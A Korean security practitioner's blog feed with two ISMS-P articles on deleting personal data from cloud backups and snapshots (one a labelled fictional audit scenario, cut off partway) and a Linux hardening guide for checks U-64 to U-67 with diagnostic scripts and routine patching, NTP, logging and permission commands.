최근 백업 복구 테스트에서 이를 검증했는가?

증적

백업 Lifecycle 실행 로그가 있는가?
삭제 실패 로그가 있는가?
파기 대상과 실제 삭제 결과를 대사할 수 있는가?
백업 보존기간을 결정한 근거가 있는가?

22. 자주 발생하는 잘못된 판단

잘못된 판단 1

"운영 DB에서 삭제했으므로 파기 완료다."

올바른 접근

백업·복제·분석 저장소 등 실제 개인정보가 저장되는 위치를 함께 확인한다.

잘못된 판단 2

"백업 데이터는 무조건 운영 DB와 같은 날 삭제해야 한다."

올바른 접근

백업 구조와 DR 요구사항을 고려하여 보존기간과 삭제방식을 설계해야 한다.

다만 백업이라는 이유만으로 필요 이상 장기간 보관해서는 안 된다.

잘못된 판단 3

"백업은 5년 보관 정책이 있으므로 개인정보도 5년 보관할 수 있다."

올바른 접근

백업 보존기간과 개인정보 보유기간은 서로 다른 관점에서 검토해야 한다.

5년 보존이 필요한 근거가 무엇인지 확인해야 한다.

잘못된 판단 4

"마케팅 동의를 철회했으므로 주문정보도 모두 삭제해야 한다."

올바른 접근

마케팅 목적의 처리 중단과 주문·배송 등 다른 처리 목적에 필요한 개인정보의 보유 여부를 구분해야 한다.

잘못된 판단 5

"S3 Lifecycle을 설정했으므로 개인정보 파기는 자동으로 보장된다."

올바른 접근

Lifecycle의 대상 범위, 제외 경로, Versioning, 실행 결과, 실패 여부를 실제 증적으로 확인해야 한다.

23. 실무 점검 체크리스트

개인정보 현황

신규 API 연동으로 생성된 개인정보 저장소를 식별했는가
백업 스토리지에 저장되는 개인정보 항목을 파악했는가
처리 목적을 구분했는가
보유기간을 정의했는가
실제 저장 현황과 개인정보 현황 문서가 일치하는가

보유기간

백업 보존기간을 별도로 정의했는가
보존기간의 업무상·법적 근거가 있는가
불필요하게 긴 기간을 설정하지 않았는가
보존기간 종료 시 자동 삭제되는가

파기

운영 DB 파기 대상이 식별되는가
백업 저장소의 파기 범위를 식별하는가
Lifecycle 제외 경로를 확인했는가
S3 Versioning 상태를 확인했는가
삭제 실패 여부를 확인하는가
파기 결과를 기록하는가

복구

백업 복구 후 파기 대상 개인정보가 재생되는지 확인하는가
복구 후 최신 파기 대상 목록을 재적용하는가
DR 테스트에서 개인정보 파기 통제를 검증하는가

증적

보유기간 정책
백업 정책
Lifecycle Configuration
파기 배치 로그
백업 삭제 로그
실패 및 재처리 로그
백업 복구 테스트 결과
개인정보 파기 결과보고서

24. 이번 사례의 핵심 포인트

이번 사례에서 중요한 것은 "백업에도 개인정보가 남아 있다"는 사실 하나만으로 결론을 내리는 것이 아니다.

다음 세 가지를 순서대로 확인해야 한다.

① 정말 파기 대상인가?
        ↓
② 계속 보관해야 할 근거가 있는가?
        ↓
③ 보관한다면 기간·분리·접근·복구 통제가 적절한가?

파기 대상이라면:

보유기간 경과
      ↓
파기 대상 확정
      ↓
운영 DB
      +
백업
      +
복제본
      ↓
파기 및 결과 검증

법령 등에 따라 계속 보존해야 한다면:

보존 근거 확인
      ↓
필요 최소한의 정보로 제한
      ↓
다른 개인정보와 분리
      ↓
접근 및 이용 목적 제한
      ↓
보존기간 종료 후 파기

개인정보 보호법 제21조 역시 보유기간 경과나 처리 목적 달성 등으로 개인정보가 불필요해진 경우 지체 없이 파기하도록 하고, 법령에 따라 보존해야 하는 경우에는 다른 개인정보와 분리하여 저장·관리하도록 규정한다.

25. 마무리

클라우드 환경에서 개인정보 파기는 운영 DB의 삭제 작업만으로 판단하기 어렵다.

특히 이커머스 환경에서는 주문 DB에서 생성된 개인정보가 다음과 같이 여러 시스템으로 이동할 수 있다.

주문 DB
  ↓
풀필먼트 API
  ↓
로그 / Payload
  ↓
S3
  ↓
백업
  ↓
스냅샷

따라서 개인정보의 보유기간을 관리할 때는 어디에 저장되어 있는지를 함께 관리해야 한다.

이번 사례에서 가장 중요한 문제는 "백업 데이터는 개인별 삭제가 어렵다"는 기술적 제약 자체가 아니다.

진짜 문제는 개인정보 보유기간과 백업 보존기간이 별개의 정책으로 운영되고 있으며, 5년이라는 백업 보존기간이 해당 개인정보의 계속 보유 필요성과 연결되어 있지 않다는 점이다.

또한 마케팅 동의 철회, 회원 탈퇴, 주문·배송 목적의 보유, 법령상 보존은 서로 다른 사유이므로 각각의 처리 목적과 보유 근거를 구분하여 판단해야 한다.

결국 실무에서 확인해야 할 핵심은 다음과 같다.

"운영 DB에서 삭제했는가?"가 아니라 "파기 대상 개인정보가 어디에 존재하며, 그 저장본을 계속 보유할 근거와 기간이 명확하게 관리되고 있는가?"를 확인해야 한다.

클라우드 백업은 장애와 재해에 대비하기 위한 중요한 통제이지만, 백업이라는 목적만으로 개인정보를 필요 이상 장기간 보관할 수 있는 것은 아니다.

백업 정책과 개인정보 보유·파기 정책을 연결하고, 백업 복구 시에도 이미 파기한 개인정보가 다시 활성화되지 않도록 관리하는 것이 클라우드 환경의 개인정보 생명주기 관리에서 중요한 부분이다.

참고자료

KISA ISMS-P 인증기준 및 인증기준 안내서
개인정보 보호법 제21조(개인정보의 파기)
개인정보보호위원회 개인정보 파기 관련 안내
AWS S3 Lifecycle 및 Versioning 관련 기술문서
AWS 백업 및 복구 관련 기술문서

[리눅스 보안 점검] 패치 및 로그 관리 (U-64~U-67) 종합 진단 및 실무 조치 가이드

보안실무자J — Wed, 23 Sep 2026 10:04:39 +0900

리눅스 시스템의 패치 및 로그 관리 그룹(U-64~U-67)에 대한 자동 진단 스크립트 해설과 실무 조치 방법을 안내해 드립니다. 최신 보안 패치 적용, NTP 시각 동기화, 시스템 로깅 데몬 및 로그 디렉터리 권한 설정을 안전하게 관리하는 방법과 백업 및 조치 절차를 종합적으로 다룹니다.

1. 패치 및 로그 관리 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-64	주기적 보안 패치 및 벤더 권고사항 적용	/etc/os-release, 패키지 매니저 로그	최신 OS 및 커널 보안 패치 절차가 수립되어 있고 수시 검토/적용되는 경우	상
U-65	NTP 및 시각 동기화 설정	/etc/chrony.conf, /etc/ntp.conf, /etc/systemd/timesyncd.conf	chronyd, ntpd, timesyncd 중 활성화된 데몬이 존재하며 외부 타임 서버가 정상 연동된 경우	중
U-66	정책에 따른 시스템 로깅 설정	/etc/rsyslog.conf, /etc/systemd/journald.conf	rsyslog, syslogd, systemd-journald 등 로깅 데몬이 활성화되어 정상 동작 중인 경우	상
U-67	로그 디렉터리 소유자 및 권한 설정	/var/log	/var/log디렉터리의 소유자가 root(또는 syslog)이고 타사용자 쓰기 권한(w)이 제거된 경우	중

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-64] 주기적 보안 패치 및 벤더 권고사항 적용

① 점검 목적 및 개요

운영체제 및 주요 패키지의 알려진 취약점(CVE)을 악용한 공격을 예방하기 위해 벤더사의 최신 보안 패치를 주기적으로 검토하고 적용하는지 점검합니다. 최신 패치가 적용되지 않은 시스템은 원격 코드 실행(RCE), 권한 상승 등 치명적인 보안 사고에 노출될 수 있습니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-64 점검 시작 알림
CODE "[ U-64 ] 주기적 보안 패치 및 벤더 권고사항 적용"

OS_RELEASE=""
# [상세 해설] OS 버전을 확인하기 위해 /etc/os-release 파일 분석
if [ -f /etc/os-release ]; then
    # [상세 해설] PRETTY_NAME 필드에서 OS 명칭과 버전 정보 추출
    OS_RELEASE=$(grep -E "^PRETTY_NAME" /etc/os-release | cut -d= -f2 | tr -d '"')
elif [ -f /etc/redhat-release ]; then
    # [상세 해설] 구형 RHEL 계열 파일에서 OS 정보 추출
    OS_RELEASE=$(cat /etc/redhat-release)
else
    # [상세 해설] 표준 파일이 없을 경우 uname 명령어로 커널 및 시스템 정보 대처
    OS_RELEASE=$(uname -s -r -v)
fi

# [상세 해설] 현재 시스템의 실행 중인 커널 버전 추출
KERNEL_VER=$(uname -r)

# [상세 해설] 수동 점검 대상 안내 및 현재 시스템 정보 출력
INFO "시스템의 최신 보안 패치 및 벤더 권고사항 적용 여부를 주기적으로 수동 점검해야 합니다." "현재 OS: $OS_RELEASE / 커널: $KERNEL_VER"

LAST_UPDATE=""
# [상세 해설] YUM 패키지 매니저 존재 여부 확인
if command -v yum >/dev/null 2>&1; then
    # [상세 해설] yum history 명령을 통해 가장 최근에 수행된 패키지 작업 일시 추출
    LAST_UPDATE=$(yum history 2>/dev/null | grep -E -v "ID|---|Loaded|Warning" | head -n 1 | awk '{print $3, $4}')
    if [ -n "$LAST_UPDATE" ]; then
        INFO "YUM 패키지 관리자의 가장 최근 작업(업데이트 등) 일시를 확인했습니다." "최근 작업 일시: $LAST_UPDATE"
    else
        INFO "YUM 업데이트 이력을 찾을 수 없습니다." "yum history 확인 불가"
    fi
# [상세 해설] APT 패키지 매니저(Ubuntu/Debian) 존재 여부 확인
elif command -v apt-get >/dev/null 2>&1; then
    # [상세 해설] apt history.log 파일에서 가장 최근 업데이트 시작 시간 추출
    if [ -f /var/log/apt/history.log ]; then
        LAST_UPDATE=$(grep "^Start-Date:" /var/log/apt/history.log | tail -n 1 | cut -d: -f2- | xargs)
        if [ -n "$LAST_UPDATE" ]; then
            INFO "APT 패키지 관리자의 가장 최근 업데이트 일시를 확인했습니다." "최근 작업 일시: $LAST_UPDATE"
        else
            INFO "APT 업데이트 이력을 찾을 수 없습니다." "history.log 내역 없음"
        fi
    else
        INFO "/var/log/apt/history.log 파일을 찾을 수 없습니다." "로그 유실 또는 미사용"
    fi
fi

FINISH "[ U-64 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무자의 실수 및 장애 사례: 검증되지 않은 패치를 운영 환경에 전체 적용(yum update -y)했다가 glibc나 OpenSSL의 라이브러리 의존성이 깨져 핵심 애플리케이션 데몬이 구동되지 않는 장애가 빈번히 발생합니다.

안전 검증 절차: 패치 실행 전 업데이트 가능 목록 및 보안 전용 패치 항목만 별도로 시뮬레이션해야 합니다.

# RHEL/CentOS 계열 보안 패치 대상 조회
yum updateinfo list security

# Ubuntu/Debian 계열 업데이트 대상 조회
apt-get --just-print upgrade

MSA 및 CI/CD 환경에서의 대안 설정: 컨테이너 기반(Docker/Kubernetes) 또는 불변 인프라(Immutable Infrastructure) 환경에서는 가동 중인 서버에 직접 패치를 수행하지 않습니다. 베이스 이미지를 업데이트하여 신규 이미지로 배포(Blue/Green, Rolling Update)하는 구성을 권장합니다.

④ 안전한 조치 절차

패키지 리스트 백업:

# RHEL 계열
rpm -qa > /root/pkg_list_$(date +%Y%m%d).txt

# Debian 계열
dpkg -l > /root/pkg_list_$(date +%Y%m%d).txt

보안 패치 선별 적용:

# RHEL/CentOS 계열 보안 패치만 선택적 적용
yum update --security -y

# Ubuntu 계열 보안 패치 적용
apt-get install --only-upgrade <패키지명>

2.2. [U-65] NTP 및 시각 동기화 설정

① 점검 목적 및 개요

시스템 간 시각 불일치로 인한 로그 타임스탬프 오류를 방지하기 위해 표준 타임 서버와의 시각 동기화(NTP) 여부를 점검합니다. 침해사고 발생 시 여러 서버의 로그를 연관 분석하기 위해 정확한 시각 동기화는 필수적입니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-65 점검 시작 알림
CODE "[ U-65 ] NTP 및 시각 동기화 설정"

NTP_RUNNING="FALSE"
NTP_CONF_SAFE="FALSE"
REASON_NTP=""

# [상세 해설] 1. chronyd 데몬의 활성화 및 프로세스 실행 여부 검사 (RHEL 7+ 기본)
if systemctl is-active --quiet chronyd 2>/dev/null || ps -ef | grep -E "chronyd" | grep -v "grep" >/dev/null; then
    NTP_RUNNING="TRUE"
    # [상세 해설] /etc/chrony.conf 내 외부 타임 서버(server 또는 pool) 설정 존재 여부 확인 (루프백 제외)
    if grep -E -i "^[[:space:]]*(server|pool)" /etc/chrony.conf 2>/dev/null | grep -v "127.127.1.0" >/dev/null; then
        NTP_CONF_SAFE="TRUE"
        REASON_NTP="chronyd가 동작 중이며, /etc/chrony.conf에 외부 동기화 서버(server/pool)가 정상 설정됨."
    else
        REASON_NTP="chronyd는 동작 중이나, /etc/chrony.conf에 동기화 서버 설정이 누락됨."
    fi
# [상세 해설] 2. ntpd 데몬의 활성화 및 프로세스 실행 여부 검사 (구형 시스템)
elif systemctl is-active --quiet ntpd 2>/dev/null || ps -ef | grep -E "ntpd|xntpd" | grep -v "grep" >/dev/null; then
    NTP_RUNNING="TRUE"
    CONF_FILE=$(ls /etc/ntp.conf /etc/inet/ntp.conf 2>/dev/null | head -1)
    if [ -n "$CONF_FILE" ] && grep -E -i "^[[:space:]]*(server|pool)" "$CONF_FILE" | grep -v "127.127.1.0" >/dev/null; then
        NTP_CONF_SAFE="TRUE"
        REASON_NTP="ntpd가 동작 중이며, 설정 파일($CONF_FILE)에 외부 동기화 서버가 정상 설정됨."
    else
        REASON_NTP="ntpd는 동작 중이나, 외부 동기화 서버 설정이 누락되거나 설정 파일이 없음."
    fi
# [상세 해설] 3. systemd-timesyncd 데몬 검사 (Ubuntu 기본)
elif systemctl is-active --quiet systemd-timesyncd 2>/dev/null; then
    NTP_RUNNING="TRUE"
    if grep -E -i "^[[:space:]]*NTP=" /etc/systemd/timesyncd.conf 2>/dev/null >/dev/null; then
        NTP_CONF_SAFE="TRUE"
        REASON_NTP="timesyncd가 동작 중이며, timesyncd.conf에 NTP 동기화 서버가 정상 설정됨."
    else
        REASON_NTP="timesyncd는 동작 중이나, timesyncd.conf에 NTP 서버 설정이 누락됨."
    fi
fi

# [상세 해설] 판정 결과 출력 로직
if [[ "$NTP_RUNNING" == "FALSE" ]]; then
    WARN "시각 동기화(NTP) 서비스가 동작하지 않아 침해사고 시 로그 타임스탬프 분석이 불가능할 수 있습니다." "ntpd, chronyd, timesyncd 등 관련 데몬 모두 미동작"
elif [[ "$NTP_CONF_SAFE" == "TRUE" ]]; then
    OK "NTP/시각 동기화 서비스가 안전하게 설정되어 동작 중입니다." "$REASON_NTP"
else
    WARN "시각 동기화 서비스는 동작 중이나, 동기화할 타임 서버(외부 서버) 설정이 미흡합니다." "$REASON_NTP"
fi
FINISH "[ U-65 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무자의 실수 및 장애 사례: 아웃바운드 방화벽에서 UDP 123 포트가 차단되어 연동이 불가능하거나, 대규모 시간 차이가 존재하는 상태에서 NTP를 급격히 동기화(ntpdate)하다가 Database 트랜잭션 타임스탬프가 역전되어 데이터가 꼬이는 장애가 발생할 수 있습니다.
안전 검증 절차: chronyc tracking 또는 chronyc sources 명령을 통해 실제 시간 동기화 오차(Slew)와 연동 상태를 정밀 확인해야 합니다.
```
# chrony 동기화 상태 및 오차 확인
chronyc tracking

# 연동 타임 서버 상태 점검
chronyc sources -v
```
특수 환경 대안 설정: 클라우드(AWS, GCP 등) 환경에서는 외부 인터넷 NTP 대신 인프라 자체 제공 PTP/NTP 서비스(예: AWS Time Sync Service 169.254.169.123)를 설정에 등록하는 것이 네트워크 안정성에 훨씬 유리합니다.

④ 안전한 조치 절차

설정 파일 백업:

cp -p /etc/chrony.conf /etc/chrony.conf.bak_$(date +%Y%m%d)

타임 서버 지정 (/etc/chrony.conf 예시):

# 기존 server 항목 수정 또는 신규 추가
server time.bora.net iburst
server ntp.kornet.net iburst

서비스 재시작 및 동기화 검증:

systemctl restart chronyd
chronyc sources

2.3. [U-66] 정책에 따른 시스템 로깅 설정

① 점검 목적 및 개요

시스템 보안 이벤트, 침입 시도, 서비스 오류 등을 기록하는 로깅 데몬의 운영 상태를 점검합니다. 로그가 생성되지 않으면 보안 사고 발생 시 원인 파악 및 법적 증거 확보가 불가능해집니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-66 점검 시작 알림
CODE "[ U-66 ] 정책에 따른 시스템 로깅 설정"

# [상세 해설] 현재 시스템에서 동작 중인 주요 로깅 데몬 프로세스 검색
LOG_PROCESS=$(ps -ef | grep -E "rsyslogd|syslogd|systemd-journald" | grep -v "grep")

if [ -n "$LOG_PROCESS" ]; then
    # [상세 해설] 감지된 프로세스 명칭을 구분하여 변수에 할당
    if echo "$LOG_PROCESS" | grep -q "systemd-journald"; then
        DAEMON_NAME="systemd-journald"
    elif echo "$LOG_PROCESS" | grep -q "rsyslogd"; then
        DAEMON_NAME="rsyslogd"
    else
        DAEMON_NAME="syslogd"
    fi
    
    # [상세 해설] 로깅 데몬이 구동 중인 경우 양호 판정
    OK "시스템 로깅 데몬($DAEMON_NAME)이 정상적으로 동작 중입니다." "활성화된 로깅 데몬: $DAEMON_NAME"
else
    # [상세 해설] 로깅 데몬 미동작 시 취약 판정 및 조치 가이드 안내
    WARN "시스템 로깅 데몬(rsyslog, syslog, systemd-journald 등)이 동작하지 않아 로그가 기록되지 않습니다." "관련 데몬 프로세스 미동작"
    INFO "조치 방법: systemctl enable --now rsyslog 또는 systemd-journald 상태 확인" "참고: OS 버전에 맞는 로깅 데몬 활성화 필요"
fi
FINISH "[ U-66 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무자의 실수 및 장애 사례: systemd-journald 로그 설정 시 메모리 및 디스크 용량 제한(SystemMaxUse)을 지정하지 않아 /var/log/journal 디렉터리가 파티션 전체 용량을 점유하면서 서버 서비스 전체가 멈추는 리소스 고갈 장애가 흔히 발생합니다.

안전 검증 절차: 설정 파일 수정 후 반드시 구문 검증 명령을 수행해야 합니다.

# rsyslog 설정 파일 구문 오류 검사
rsyslogd -N1

# 테스트 로그 생성 및 정상 기록 여부 확인
logger -p authpriv.info "Security Log Test"
tail -n 5 /var/log/secure

중앙 집중식 로깅 구성: 실무 환경에서는 단일 서버의 로그 보관 외에도 SIEM 또는 중앙 로그 서버(Fluentd, Logstash 등)로 로그를 실시간 전송(UDP/TCP 514 포트)하도록 구성하여 로그 위변조 및 유실에 대비해야 합니다.

④ 안전한 조치 절차

설정 파일 백업:

cp -p /etc/rsyslog.conf /etc/rsyslog.conf.bak_$(date +%Y%m%d)

문법 검사 및 서비스 활성화:

rsyslogd -N1
systemctl enable --now rsyslog

서비스 상태 및 동작 확인:
```
systemctl status rsyslog
```

2.4. [U-67] 로그 디렉터리 소유자 및 권한 설정

① 점검 목적 및 개요

시스템 로그 디렉터리(/var/log) 및 로그 파일의 권한을 통제하여 비인가자가 침입 흔적을 삭제하거나 로그 데이터를 위변조하지 못하도록 예방합니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-67 점검 시작 알림
CODE "[ U-67 ] 로그 디렉터리 소유자 및 권한 설정"

LOG_DIR="/var/log"
VULN_LOGS=""

# [상세 해설] 로그 디렉터리 존재 여부 확인
if [ -d "$LOG_DIR" ]; then
    # [상세 해설] /var/log 디렉터리의 소유자 계정명 추출
    DIR_OWNER=$(ls -ld "$LOG_DIR" | awk '{print $3}')
    # [상세 해설] /var/log 디렉터리의 권한 문자열 추출 (예: drwxr-xr-x)
    DIR_PERMS=$(ls -ld "$LOG_DIR" | awk '{print $1}')
    # [상세 해설] 기타 사용자(Other)의 쓰기 권한 위치(9번째 문자) 추출
    DIR_O_WRITE=$(echo "$DIR_PERMS" | cut -c 9)

    # [상세 해설] 소유자가 root/syslog가 아니거나, 기타 사용자에게 쓰기 권한(w)이 부여된 경우 점검
    if [[ "$DIR_OWNER" != "root" && "$DIR_OWNER" != "syslog" ]] || [[ "$DIR_O_WRITE" == "w" ]]; then
        WARN "시스템 로그 디렉터리($LOG_DIR)의 소유자 또는 권한이 취약하여 로그 위변조 위험이 있습니다." "소유자: $DIR_OWNER, 권한: $DIR_PERMS (권고: root 소유, 타사용자 쓰기 방지)"
    else
        OK "시스템 로그 디렉터리($LOG_DIR) 자체의 소유자 및 권한이 안전하게 설정되어 있습니다." "소유자: $DIR_OWNER, 권한: $DIR_PERMS (타사용자 쓰기 차단됨)"
    fi
    
    # [상세 해설] 하위 개별 로그 파일 권한 점검에 대한 안내 출력
    INFO "/var/log 내 주요 개별 로그 파일(messages, secure, wtmp 등)에 비인가자 쓰기 권한 유무를 수동 확인 바랍니다." "명령어: find /var/log -type f -perm -002 -ls"
else
    WARN "표준 시스템 로그 디렉터리($LOG_DIR)를 찾을 수 없습니다." "경로 누락 및 확인 필요"
fi
FINISH "[ U-67 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무자의 실수 및 장애 사례: 조치 과정에서 /var/log 하위 파일들에 대해 일괄적으로 chmod -R 700 /var/log와 같이 과도하게 권한을 제한했다가, 일반 계정 권한으로 실행되는 서비스 데몬(예: apache, nginx, mysql 등)이 로그를 쓰지 못해 데몬이 다운되는 장애가 발생할 수 있습니다.
안전 검증 절차: 전체 일괄 변경 대신 타사용자 쓰기 권한(World-Writable)만 선별적으로 제거해야 합니다.
```
# World-Writable 권한이 부여된 로그 파일 탐색
find /var/log -type f -perm -002 -ls
```
특수 환경 고려사항: logrotate 데몬 운영 시 생성되는 신규 로그 파일의 권한 모드가 logrotate.conf 내에 create 0640 root utmp 형태로 명시되어 있는지 함께 점검해야 재부팅이나 로그 롤링 후 권한이 다시 취약해지는 것을 방지할 수 있습니다.

④ 안전한 조치 절차

현재 디렉터리 권한 및 소유관계 백업 확인:
```
ls -ld /var/log
```

로그 디렉터리 및 주요 파일 권한 교정:

# 디렉터리 소유자 변경 및 타사용자 쓰기 권한 제거
chown root:root /var/log
chmod 755 /var/log

# 하위 파일 중 World-Writable 권한만 제거
chmod -R o-w /var/log

적용 결과 검증:
```
find /var/log -type f -perm -002
```

3. 그룹 스크립트 한계점 및 예외 처리 종합 제안

스크립트 한계점 정밀 분석

분할 설정 디렉터리(*.d/*.conf) 미인식:
최신 RHEL 8/9 및 Ubuntu 22.04+ 환경에서는 /etc/chrony.conf 또는 /etc/rsyslog.conf 메인 파일 외에 /etc/chrony.d/*.conf, /etc/rsyslog.d/*.conf 디렉터리 내에 분할 설정 파일을 사용하는 경우가 많으나 현재 스크립트는 단일 설정 파일만 점검합니다.
journald 영속성 저장 모드 검증 누락:
U-66 항목에서 systemd-journald가 동작하더라도 저장 모드(Storage=volatile)가 휘발성 메모리 전용으로 설정되어 있으면 재부팅 시 로그가 사라지지만, 현 스크립트는 단순 프로세스 존재 여부만 체크하여 양호로 판정합니다.

개선 로직 코드 스니펫 (Code Snippet)

include 디렉터리까지 포함하여 검사하고 journald의 영속성(persistent) 상태를 정밀 진단하는 개선 로직입니다.

# [개선 스크립트] 분할 설정 경로 및 journald 영속성 검사 보완
NTP_CONF_CHECK=$(grep -E -i -h "^[[:space:]]*(server|pool)" /etc/chrony.conf /etc/chrony.d/*.conf 2>/dev/null | grep -v "127.127.1.0")
JOURNAL_PERSIST=$(grep -E -i "^[[:space:]]*Storage[[:space:]]*=[[:space:]]*persistent" /etc/systemd/journald.conf 2>/dev/null)

if [ -n "$NTP_CONF_CHECK" ]; then
    NTP_CONF_SAFE="TRUE"
fi

if systemctl is-active --quiet systemd-journald 2>/dev/null && [ -z "$JOURNAL_PERSIST" ]; then
    INFO "systemd-journald가 동작 중이나 로그 저장소가 휘발성(volatile)일 수 있습니다. /etc/systemd/journald.conf 내 Storage=persistent 설정을 권장합니다."
fi

4. 결론 및 요약

패치 및 로그 관리 그룹(U-64~U-67)은 시스템의 안전성을 유지하고 침해사고 시 원인을 규명하기 위한 인프라 보안의 기초 단계입니다.

자동 진단 스크립트의 결과를맹신하기보다는, 최신 OS의 분할 설정 디렉터리 특성과 실무 환경의 서비스 영향을 충분히 고려하여 조치해야 합니다. 안내해 드린 안전한 백업 절차와 사전 구문 검증 명령을 통해 인프라 장애 없는 보안 강화를 달성하시기를 권장합니다.

클라우드 이관 중 삭제한 개인정보가 백업에 남아 있다면?

보안실무자J — Wed, 23 Sep 2026 09:58:28 +0900

클라우드 이관 중 삭제한 개인정보가 백업에 남아 있다면?

— ISMS-P 3.4.1 개인정보 파기와 클라우드 백업 데이터 관리

※ 본 글은 ISMS-P 인증기준을 이해하기 위한 가상의 심사 시나리오다. 기업명, 담당자, 문서번호, 시스템명, 수치 및 설정값은 교육 목적으로 구성했으며 실제 기업의 심사 결과나 특정 기업의 운영사례가 아니다.

1. 들어가며

온프레미스 시스템을 클라우드로 이전하는 과정에서는 기존 저장소에 존재하는 데이터를 새로운 환경으로 옮긴 후 레거시 시스템을 폐기하는 작업이 함께 진행된다.

이 과정에서 개인정보 파기와 관련하여 자주 발생하는 문제가 있다.

바로 운영 시스템에서는 삭제했지만 백업이나 스냅샷에는 개인정보가 계속 남아 있는 상황이다.

예를 들어 다음과 같은 상황을 생각할 수 있다.

[레거시 NAS]

고객 문의 티켓
 ├─ 정상 보유 데이터
 ├─ 보유기간 경과 데이터
 └─ 백업 데이터
          │
          │ 클라우드 이관
          ▼
[AWS S3]

정상 데이터 → 운영 저장소
보유기간 경과 데이터 → 아카이브
백업 데이터 → Snapshot / Backup

담당자는 운영 시스템에서 파일을 삭제했기 때문에 개인정보 파기가 완료되었다고 판단할 수 있다.

그러나 실제로는 동일한 개인정보가 다음과 같은 장소에 남아 있을 수 있다.

S3 객체
S3 객체 버전
삭제 마커
백업 버킷
EBS 스냅샷
AWS Backup 복구 지점
온프레미스 백업
다른 리전에 존재하는 복제본
장기 아카이브

따라서 클라우드 환경에서 개인정보 파기 여부를 판단할 때는 운영 저장소의 삭제 여부만 확인해서는 충분하지 않다.

이번 사례에서는 온프레미스에서 AWS로 시스템을 이전하는 과정에서 보유기간이 경과한 개인정보가 클라우드 백업 영역에 남아 있는 상황을 가정하고, ISMS-P 3.4.1 관점에서 어떻게 판단하고 조치해야 하는지 살펴본다.

2. 기업 개요 및 가상 운영 시나리오

기업명

A사

서비스

기업용 차세대 방화벽 라이선스 관리 및 원격 관제 서비스

운영 규모

연간 활성 사용자 약 120만 명
고객사 담당자 개인정보 보유
고객 지원 포털 운영
원격 관제 로그 시스템 운영

인프라 환경

AWS S3
AWS RDS
멀티 리전 환경
온프레미스 레거시 백업 스토리지
클라우드와 온프레미스가 혼재된 과도기적 구조

주요 담당자

클라우드인프라운영팀 김대리

3. 클라우드 전환 과정에서 발생한 문제

A사는 기존 온프레미스 환경에서 운영하던 방화벽 고객 지원 포털과 원격 관제 로그 시스템을 AWS 환경으로 이전하고 있다.

이 과정에서 레거시 NAS에 저장되어 있던 고객 문의 티켓의 첨부파일을 클라우드 오브젝트 스토리지로 이전하였다.

첨부파일에는 다음과 같은 정보가 포함되어 있었다.

고객사 담당자 정보
고객 문의 내용
장애 진단 로그
네트워크 구성정보
일부 개인정보

문제는 레거시 스토리지에 보유기간이 이미 경과한 개인정보가 함께 존재했다는 점이다.

A사는 마이그레이션 과정에서 데이터를 신규 클라우드 환경으로 이전한 후 레거시 스토리지를 정리할 계획이었다.

그러나 이관 일정이 촉박해지면서 보유기간 경과 데이터와 정상 보유 데이터를 구분하여 파기하는 절차가 충분히 수행되지 않았다.

결국 운영 파일의 삭제와 별개로 기존 볼륨의 스냅샷과 백업본에 해당 개인정보가 남아 있는 상태가 발생하였다.

4. 현장 인터뷰

[인터뷰 - 개인정보 파기 및 백업관리]

심사원

보유기간이 경과한 고객 지원 티켓 내 개인정보와 진단 로그 파일은 현재 어떤 방식으로 파기하고 있습니까?

김대리 / 클라우드인프라운영팀

법정 보유기간이 만료된 고객 데이터는 매월 말일 자동 스크립트를 통해 대상을 식별하고 클라우드 오브젝트 스토리지에서 삭제하고 있습니다.

심사원

이번 인프라 이관 과정에서 레거시 스토리지의 백업 데이터와 파기 대상 데이터가 함께 존재했을 텐데, 파기 대상 개인정보가 백업이나 스냅샷에 남아 있는지는 어떻게 확인했습니까?

김대리

이관 일정이 촉박해서 개별 파일을 구분하여 처리하기보다는 레거시 볼륨 자체를 마운트 해제한 후 스냅샷 형태로 클라우드에 보관했습니다.

파기 대상 파일도 스냅샷 아카이브에 포함되어 있습니다.

다만 해당 영역은 접근권한이 제한되어 있기 때문에 실질적인 노출 가능성은 낮다고 판단했습니다.

따라서 별도의 파기 검증은 수행하지 않고 이관 확인서로 갈음했습니다.

5. 현장 수집 증적

증적 1. 클라우드 오브젝트 스토리지 이관 로그

{
  "migration_batch_id": "MIG-2023-Q4-STORAGE-09",
  "execution_timestamp": "2023-10-15T02:30:00Z",
  "source_repository": "legacy-onprem-nas-01:/volume2/support_tickets/",
  "target_repository": "s3://a-company-cloud-archive-bucket/expired_data/",
  "total_objects_processed": 142050,
  "action_type": "BLOCK_MIGRATION_AND_UNMOUNT",
  "secure_deletion_applied": false,
  "overwrite_pass_count": 0,
  "status": "COMPLETED",
  "note": "Legacy volume unmounted without separate deletion verification."
}

이 로그에서 중요한 부분은 secure_deletion_applied: false 자체가 아니다.

보다 중요한 것은 보유기간 경과 개인정보가 실제로 어느 저장소로 이동되었고, 이후 해당 저장본에 대해 어떤 파기 또는 보존 판단이 이루어졌는가이다.

6. 증적 2. 개인정보 파기 예외 승인 문서

[내부 기안 문서]

문서번호: ARC-2023-1182
기안부서: 클라우드인프라운영팀
제목: 클라우드 이관에 따른 레거시 스토리지 데이터 처리 예외 승인 요청

1. 추진 배경

- 방화벽 관제 시스템 클라우드 전환에 따른 레거시 NAS 철거
- 기존 스토리지에 고객 지원 티켓 및 진단 파일 약 4.2TB 존재

2. 주요 내용

- 대상 데이터:
  고객 지원 티켓 첨부파일 및 네트워크 진단 로그

- 처리 방안:
  레거시 볼륨 스냅샷을 생성하여 클라우드 백업 영역으로 이관

- 예외 사유:
  마이그레이션 일정 및 데이터 정합성 검증 문제

3. 검토 결과

- 보유기간 경과 데이터가 일부 포함되어 있으나
  백업 스토리지에 대한 접근권한을 제한함

- 별도의 개인정보 파기 검증은 수행하지 않음

4. 최종 결재

승인

이 문서에서 심사상 중요한 부분은 CISO가 승인했는지 여부 자체가 아니다.

